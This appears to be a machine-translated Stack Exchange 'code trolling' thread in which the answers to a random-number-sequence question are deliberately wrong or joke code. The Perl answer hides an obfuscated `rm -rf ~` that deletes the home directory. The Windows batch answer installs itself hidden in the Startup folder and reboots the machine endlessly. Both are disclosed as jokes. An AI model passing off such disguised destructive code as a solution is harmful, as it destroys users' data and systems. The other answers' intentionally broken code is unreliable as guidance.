Rasgele bir sayı dizisi oluşturma


16

Meydan okuma:

Rasgele bir sayı dizisi oluşturun. Tek girdi dizinin uzunluğu olmalıdır.

Saf fonksiyonel çözümler için ekstra internet noktaları.

Not: Bu bir sorusudur. Lütfen soruyu ve / veya cevapları ciddiye almayın. Daha fazla bilgi burada .




Kod trollemesi, resmi duruşa göre kaldırılma sürecindedir . Bu soru birçok cevap ve oy var, alınan ankette tam olarak% 50 "tutmak" oyları ve ilk [kod trolling] mesajlarından biridir, bu yüzden tarihsel önemi için kilitliyorum.
Kapı tokmağı

Yanıtlar:


37

piton

Rastgele bir wikipedia makalesi alın ve num num uzunluğunda bir dizi html karakteri alın ve sayısal değerlerini alın

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Cevabımı beğendim ... ama bunu + 1'lemem gerekiyor.

9
Ve hikayenin ahlaki şöyledir: Wikipedia'yı ödeviniz için kullanmak hile yapmaktır.
Wrzlprmft

Sevmediğim tek bölüm, farklı sayılar için olasılık dağılımının aynı olmamasıdır. Ama bu kolayca affedilir, çünkü bu harika.
Kevin

@Kevin: OP eşit olarak dağıtılmış rastgele sayılar gerektirmedi. Aslında, bu bana bir fikir veriyor…
Wrzlprmft

31

Diğer cevaplardan gelen tüm programlar sadece eğitimsiz göze rasgele görünebilecek, ancak aslında bazı desenleri takip edebilecek “sözde rasgele sayılar” üretecektir.

Aşağıdaki program, arka plan radyasyonu için bilgisayarınızı bir parçacık detektörüne dönüştürerek gerçek rastgele sayılar üretir. Bu kuantum etkilere dayandığından, tahmin etmek gerçekten rastgele ve imkansız. Ve bir bonus olarak, bilgisayarınızı uzaya fırlatırsanız, program aslında daha hızlı çalışır. Ve evet, göründüğü kadar havalı.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Bir şeyin önceden reklamı:

Bu program iki özdeş bellek parçası oluşturur ve arkaplan radyasyonunun bunlardan birini değiştirmesinin ne kadar süreceğini bekler . Daha sonra bekleme süresi, tamsayı taşması olmasaydı üstel olarak dağıtılacak rastgele bir sayı olarak döndürülür. Bu tür olayların uzayda olma olasılığı, radyasyon sertleşmesi ile ele alınan astronotiklerde gerçek bir sorundur . Dolayısıyla, girişteki her ifade, serinlikle ilgili bit dışında bir ölçüde doğrudur.

Ne yazık ki, bilgisayarı veya en azından programı çökerten böyle bir olay, tam olarak bu iki bellek parçasını etkilemesinden daha olasıdır. Ayrıca, Nihayet, kinokijuf tarafından sivri out gibi, arka plan radyasyon harici bir süreç olduğundan iken ... bir sürebilir jve kolarak işaretlenmesi gereken volatilederleyici (ya da tüm at optimize değil bir derleyici kullanmalıdır).

Not: Fikir üzerinde genişleyerek, sıfırlarla dolu bir dizi de oluşturulabilir ve sonra yazdırılabilir. Arka plan radyasyonunun depolama ve yazdırma arasındaki sıfırları değiştirmesi ve böylece yazdırılanın rastgele olması ihtimali vardır - OP rastgele sayıların nasıl dağıtılacağını asla söylemedi.


6
+1 işe yaramaz ama gerçek için ekstra puan.
emory

7
Arka plan radyasyon tespit kodunun derleyici tarafından optimize edileceğini unutmayın.
kinokijuf

1
@kinokijuf: Ne yazık (seçeneklerden bağımsız olarak her derleyici için geçerli mi?). Her neyse, bu kod trolling olduğundan, bu sorunun cevabının bir özelliğini ilan ediyorum.
Wrzlprmft

14
Eğer uçucu olarak işaretlemek sürece, daha sonra kod aslında çalışmalarında beklenen gibi.
kinokijuf

1
Bunu sağlamanın jve kher zaman bellekte belirli konumları kullanmanın bir yolu var mı ? (C'yi çok kullanmadım; Java ve C # programcısıyım.) Öyleyse, donanımı bu konumların radyasyon sertleştirmesi ile korunmaması için tasarlayabilirsiniz, ancak sistemin geri kalanı.
Kevin

10

Tamamen belirleyici oldukları için rastgele bir bilgisayara ulaşmak zordur. Bilgisayarlarda rasgele sayılar üretmek , genellikle devlet düzeyindeki aktörleri içeren çok aktif bir araştırma alanıdır (Bkz. Dual_EC_DRBG ). Ancak, modern çok görevli bir işletim sisteminde, iş parçacığı zamanlayıcı bazı durumlarda başarılı bir iş yapabilir. Bunu yapmak için, mevcut zaman dilimimizin kontrolünü işletim sistemine geri veririz ve tekrar programlamamızın ne kadar sürdüğünü not ederiz. İşletim sistemine ve yüke bağlı olarak, bu istenen sonuçları verebilir.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

2
Bu neredeyse ciddi bir çözüm!
Abhinav Sarkar

8

C #

Dışarıdaki yazılımların kullanıcıları doğası gereği doğası gereği rastgele olduğundan, bunu neden bizim yararımıza kullanmıyorsunuz?

Bu kod bir ekran görüntüsü alır ve bunu rasgele sıra oluşturmak için başka verilerle kullanır. Dahili Rastgele üreteci kullanmamanız için bonus internet noktaları?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

7

piton

Yaygın tuzaklara rastlamak kolaydır: eşit dağılmayan rasgele sayıların kaynağı ve randomizasyon yok. Benim çözümüm derin matematiksel anlayışlar ve şimdiki zaman ile basit ama etkili bir hile, randomizasyon kullanarak bu sorunları mükemmel bir şekilde önler:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Küçük bir sayı kümesi (9 veya daha az) için bir kez test edildiğinde harika çalışır, ancak biraz daha test edilmiştir:

  • math.pi noktadan sonra yalnızca birkaç basamak içerir
  • time.localtime()[8]milisaniye veya çekirdek saatini döndürmez, ancak yaz saati uygulamasına bağlı olarak 0 veya 1 olur. Böylece rastgele tohum her yarım yılda bir kez değişir. Yani, temelde, rasgeleleştirme yok.
  • Bu yalnızca 0 ile 9 arasında rastgele sayılar döndürür.
  • random_numbers[:number]number15'ten büyük girdiğinizde sessizce başarısız olur ve yalnızca 15 rasgele sayı verir.

Ne yazık ki, bu benzer şekilde çalışan Delphi 1.0 rastgele işlevinden esinlenmiştir.


6

Yakut

Soru SIRA istiyor. İşte yine gidiyoruz...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Bu% 100 rastgele. Gerçekten değil.
Bu kod çok kötü, OP'ye HİÇBİR ŞEY anlamına gelir (cehennem nesne_kimliği nedir?)
Ayrıca, uygulamaya özeldir, yani farklı yakut sürümleri arasında çalışır veya çalışmaz (2.1.0p0'da çalıştırılır).
Bunun üzerine, OP muhtemelen nesne_kimliği ile deney yapabileceğinden, bu gerçekten kötü bir şey yapabilir ...

Örnek çıktı:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Düzenle:

$$gerçek rastgele kullanım için değiştirilmiş (işletim sistemi düzeyinde).


Bunu C'de yapabilirim ve DAHA FAZLA çöp alabilirim, ama C'de sahte sözler yapmanın eğlenceli yanı nedir?

5

Java

Dikkat, bu hileli bir soru .....

Java'daki çoğu kişi bu diziyi oluşturmaya yardımcı olmak için math.random () yöntemini kullanır, ancak yalnızca olumlu sonuçlar elde edecekleri için kafası karışır! random()0 ile 1 arasında bir ondalık değer döndürür (1'in kendisi hariç). Bu nedenle, tüm tamsayı aralığından (pozitif ve negatif) rastgele değerlerin iyi bir dağılımını elde ettiğinizden emin olmak için bazı hileler oynamanız gerekir.

Ayrıca, basitçe çoğaltamazsınız Math.random()ve Integer.MAX_VALUEçünkü bu asla Integer.MAX_VALUEsonucun bir parçası olmayacaktır ! Ayrıca, math.rand() * (Integer.MAX_VALUE + 1)tam bir dağıtım elde etmeniz mantıklı olacaktır , ancak elbette bu çalışmaz çünkü Integer.MAX_VALUE + 1taşacak ve olacak Integer.MIN_VALUE! Yani, ne yazık ki, en iyi çözüm verinin bit-bilge manipülasyonuna başvurmaktır ...

Bu yüzden, burada bir tam oluşturulması için dizisi 'n' aralığında rasgele değerindedir Integer.MIN_VALUEiçin Integer.MAX_VALUE(sabit bir parçası olan her iki uç dahil () !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Bu şöyle çıktı üretir:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Tabii ki, yukarıdaki tam bir BS cevabıdır. İyi bir açıklama üretmez ve ciddi bir hatayı 'gizler' ( ^=olması gerekir |=). ayrıca daha az ciddi bir hatayı gizler (order-pf-önceliği, aslında hiç bir asal değerle çarpmadığımız anlamına gelir!) Süslü kelimeler, asal sayılar ve birçok yorum kullanmak, koda güvenmek için bir neden değildir ... Tabii ki, yukarıdakileri yapmak istiyorsanız, sadecejava.util.Random.nextInt()


4

Java

Şimdi programa tekrar baktığım için, kapatmayı unuttum Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

3
(trol dışı) Kapanış akışlarını / vb. Java 7 ile çok daha kolay try (Scanner reader = new Scanner(System.in)) { ... }.
wchargin

4

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Ben $\farklı bir kod trolling cevap çıktı için aynı taktik yapıyorum . Ben önemli miktarda yatırım yaptığımı Ayrıca, birçok haber $$haline Randu algoritması.

Edit: Daha iyi açıklamak için, RANDU korkunç güvensiz bir PRNG olduğunu. Wikipedia "şimdiye kadar tasarlanmış en kötü tasarlanmış rastgele sayı üreteçlerinden biri" olarak tanımlamaktadır. Birincil zayıflığı aşağıdadır:

f (x) = 6 * f (x-1) - 9 * f (x-2)


3

İşte rastgele bir sayı üreticisi, temel 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

1
Sadece tahsis etmelisiniz length. Örnek iyi çalışıyorsa bozuk veri en iyisidir.
John Dvorak

3

Javascript'te, işlevsel bir stille:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

JS böyle yazmanın mümkün olmadığını bilmiyordum 0_0
Kevin

3

C

Bu işlev, 0 ile 1337 arasında rasgele sayılar oluşturmak için küçük uygulamalar için çok iyi çalışır. Maksimum rasgelelik sağlamak için onu birden fazla çağırmanız önerilir.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

RAM ve sayfa dosyalarım ağlıyor.
Kevin

3

Ünlü Blum Blum Shub jeneratörü. Çünkü rasgele sayı üreteçleri kriptografik olarak güvenli olmalı ve belirsizliği sağlamaktan daha iyi bir güvenlik sağlama yolu olmalıdır.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(Korkunç değişken adları, wikipedia'nın hızlı bir taramasına dayanan yanlış bir uygulama ve eğlence için atılan işe yaramaz işlev işaretçisi sihri içerir)


2
int argv, char* argc[]Tanrım, neden?
Joe Z.

2

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Bazı çöp yığını verileri kullanın. Oh, ve işaretçiyi sızdırmayı unutma.


2

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Artıları:

  • İşe yarıyor.
  • Ara sıra.
  • Geçerli (ish) C89.
  • Korkunç C ++.
  • C başlıklarını EVIL olduğu using namespace std;için kullanın ve programı tüm bu ad alanı aramalarıyla yavaşlatmak istemiyoruz.
  • Sabit kodlanmış bir değere sahip bir modül kullanarak hız lehine dağılım tekdüzeliğinden kaçınırız (TODO: daha fazla ham hız için bir bit kaydırma kullanmak için bunu değiştirin).
  • Aynı saat saniye içinde birden çok kez çalışarak determinizmi doğrulayabilir.
  • Bu kodun neden kötü olduğu, OP'nin muhtemelen bunu gerçekleştirmeyeceği kadar açıktır.

Eksileri:

  • Bu kodun neden kötü olduğu, OP'nin profesörünün (sınıf öğrencisi) muhtemelen bunu fark etmeyecek kadar açık değildir.
  • Bu genellikle kabul edilebilir bir çözüm olarak görülmektedir.
  • Daha fazla RAW SPEED gerekir.

1
Lemme, argv[1]bir tamsayı değilse tanımlanmamış bir davranışa sahip (veya boşsa daha kötü)?
Joe Z.

1
Oh, argv [1] bir tamsayıyı kodlamazsa gayet iyi çalışır; atoisadece sıfıra dönecektir. Kıllı olduğu yer, kodlanmış tamsayının aralığın dışında kalmasıdır int.
Stuart Olsen

2

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

2

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Giriş - 3

Çıktı - {2,3,1}


Çalışır, çünkü :Input A:Disp randIntNoRep(1,A)


1

İşte bir Python çözümü. Buna ispat edemez değil rastgele!

def get_random(num):
    print '3' * num

get_random(5)Örneğin arayarak deneyin .


5
Rastgele değildir, çünkü koda bakarak çıktıyı tahmin edebilirsiniz. Ne zaman çalıştığını bilmenize bile gerek yok!

@Shingetsu OP, temel olarak "Rastgele olduğunu kanıtlayabilirsiniz" demek için kelime oyunu kullanıyor.
C1D

1

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Bu, OP'nin istediği gibi yapmak için çok basit bir perl kodu kullanır, ancak ana dizinlerini özyinelemeli olarak kaldırmadan önce (aslında rm -rf ~ yazmadan).

Bunu test etmedim (açık nedenlerle).


3
Kod trolling yanıtlarının, birisi kod örneğini denemesi durumunda yıkıcı olması gerekmez.
Kevin

1

Python 3

Sadece çok fazla zaman harcamakla kalmaz (hem gerçek hem de CPU zamanı), sadece 10 rastgele sayı döndürür.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

1

Yakut

Tüm sayıların rastgele olmadığını biliyor olabilirsiniz. Bu program kontrolleri , tüm sayılar ve verir size sadece onlar gerçekten tesadüfi.

Ruby kodunun okunması biraz zor olduğunu unutmayın. İngilizce kadar etkili değil çünkü bilgisayarlar biraz aptal ve bazen onlara önemli kelimeleri tekrarlamak zorundasınız.

Bu nedenle #commentskoda bazı ekledim ; Yorumlardaki ÜSTÜN kelimeler aynı kelimenin Ruby kodunda nasıl çalıştığını gösterir.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Daha ayrıntılı açıklama daha sonra gelebilir, ancak örnek bir çalışmanın bu çıktısı bir kısmını vermelidir: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... Yine de biraz rastgele olsa.


1

Aşağıdaki Windows Toplu İş komut dosyası OUTPUT.TXT, profil klasörünüzde rasgele sayılara sahip bir dosya oluşturur . Bunun neredeyse tamamen doğru rastgele sayılar üretmesi garanti edilir. Bu kodu Not Defteri'ne yapıştırın, "FileName.CMD"(tırnak işaretleri ile) olarak kaydedin ve yürütün.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Oluşturulacak rastgele sayıların bir miktarını girmek bu arada çok zahmetlidir. Oluşturmayı durdurmak için güç düğmesini basılı tutmanız yeterlidir. Çok daha kolay! Artı: klavye gerektirmez.


Açıklama: komut dosyası henüz orada değilse başlangıç ​​klasörüne kopyalar, saniyenin saniyelerini alır %time%, yazar %userprofile%\OUTPUT.TXTve bilgisayarı yeniden başlatır. Bilgisayar yeniden başlatıldığında da aynısını tekrar yapar.
user2428118

1

Lua

Bu, aşırı karmaşık, aşırı karmaşık, dağınık (sözdizimi vurgulayıcıyla bile), çok fazla karmaşık bir şekilde son derece yüksek sayılar üreten bir işlevdir. Ve sayı dizesini döndürmek yerine, bunları ekranda yazdırır ve programlarınızda kullanmak için pratik değildir. Düzenlemek zor, bu yüzden victumunuz düzeltmenizi isterse, düzenlemek için çok karmaşık olduğunu söyleyin.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

0

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Daha uzun sekanslar için kopma eğiliminde olduğunu unutmayın, ancak çalıştığında çok rastgele sayılar üretir


0

Fortran

Bilgisayarınızda zaten yerleşik bir rasgele sayı var, bu yüzden buna erişmeniz gerekiyor:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Açıkçası taşınabilir değildir, çünkü kullanıcının bir * nix sistemine sahip olması gerekir (ancak yine de Windows'u kim kullanıyor?).


0

Elbette çok sayıda rastgele sayıya ihtiyacınız olduğunu varsayıyorum . Hangi ...

Bash ve Hadoop

Tabii ki, sadece tek bir rastgele kaynak kullanmak NSA günlerinde güvenilmez. Bilgisayarınızı dolandırmış olabilirler. Ama onlar senin bütün kümeni dolandırmayacaklar!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Ardından, komut dosyası küme işlerini istediğiniz gibi çalıştıracaktır:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Tanrıya şükür, Hadoop'un gücüne sahibiz!


Bunu yapan şey Bash :)
Riot


0

ANSI C

Bu oldukça zor ve ben bu konuda çok endişe olmaz. Sadece aşağıdaki kodu kopyalayıp kütüphanenize yapıştırın ve sonsuza kadar altın olacaksınız.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

0

C ++ 'ı deneyin - hızlı, güçlü, istediğiniz her şey:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Bu arada, en iyi sonuçları elde etmek için a class.


Açıklama:
1. Bunu kullanması gerekmez class- bu tamamen gereksizdir.
2. içindeki return ifadesi generate_num()aslında sayı olan ^ 1 sayısını değerlendiren ^ (sayı ^ 0) sayısını döndürür. Bu da gereksizdir.
3. En gereksiz hata işleme - bu veri delme temeliyle ilgili sorun ne olabilir?
4. İsim std::alanının tüm unsurlarından önce kullandım std. Bu da gereksizdir.
5. #defineİfadeler de gereksizdir - bu tür programları özellikle bu program için tanımladığımı düşündürmek için yaptım.

Yasal Uyarı:
Bu program aslında çalışır; Ancak, gerçek hayat için kendi kodunda kullanan herhangi bir kişi veya varlık tavsiye ETMEM. Bu kod üzerinde herhangi bir hak ayırmıyorum; diğer bir deyişle, tamamen açık kaynak yapıyorum.


std::Öneki kullanmadan kullanmak iyi bir uygulamadır using namespace std, böylece global kapsamı kirletmezsiniz. ( using std::coutusing namespace std
Tembelseniz

Ah. Bjarne Stroustrup, using namespace std;diğer tüm sınıfları doğrudan kullandığını ve belirlediğini söyledi .

0

piton

Fonksiyonel kısmı almak - neredeyse tek katmanlı bir piton

import random
map(lambda x: random.random(), xrange(input())
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.